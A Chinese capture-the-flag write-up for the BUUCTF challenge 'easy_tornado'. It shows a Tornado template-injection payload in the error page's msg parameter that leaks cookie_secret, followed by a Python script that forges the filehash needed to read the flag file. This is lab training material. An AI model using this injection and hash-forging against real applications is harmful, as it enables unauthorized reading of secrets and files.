BUUCTF [护网杯 2018] easy_tornado

BUUCTF [护网杯 2018] easy_tornado

打开靶机环境:
BUUCTF [护网杯 2018] easy_tornado_第1张图片
依次查看三个文件的内容:

/file?filename=/flag.txt&filehash=54d52942dcd8775ea5003aa3a3c403dc

在这里插入图片描述

/file?filename=/welcome.txt&filehash=f3dc37dd631584d97b4965c1c43ffba0

在这里插入图片描述

/file?filename=/hints.txt&filehash=d3463c2ab7f6390f545ce698a6374de3

在这里插入图片描述
分析题目:

  1. tornado是一个python的模板,可能会产生SSTI注入漏洞
  2. flag/fllllllllllllag
  3. renderpython中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页
  4. 可以推断出filehash的值为md5(cookie_secret+md5(filename))

根据目前信息,想要得到flag就需要获取cookie_secret,因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容
先访问报错网页:

xxx.buuoj.cn/error?msg=Error

BUUCTF [护网杯 2018] easy_tornado_第2张图片
通过handler.settings对象获取cookie_secret的值,即:
handler指向RequestHandler
RequestHandler.settings指向self.application.settings
所以handler.settings最终指向RequestHandler.application.settings
构造如下:

xxx.buuoj.cn/error?msg={
    {
    handler.settings}}

访问得到:
在这里插入图片描述
根据获得的cookie_secretpython脚本构造md5(cookie_secret+md5(filename))

import hashlib

filename = '/fllllllllllllag'
cookie_secret = "db3053bf-a59d-4f87-bdcb-30e165e0167b"
tmp = hashlib.md5(filename.encode(encoding='utf-8')).hexdigest()
data = cookie_secret + tmp
res = hashlib.md5(data.encode(encoding='utf-8')).hexdigest()
print(res)

加上脚本给出的md5值,构造如下pyaload

http://xxx.buuoj.cn/file
?filename=/fllllllllllllag
&filehash=3bc0e02c9138512bbd1aa0d86451772e

在这里插入图片描述
得到flag
在这里插入图片描述

你可能感兴趣的:(BUUCTF,WEB,Writeup)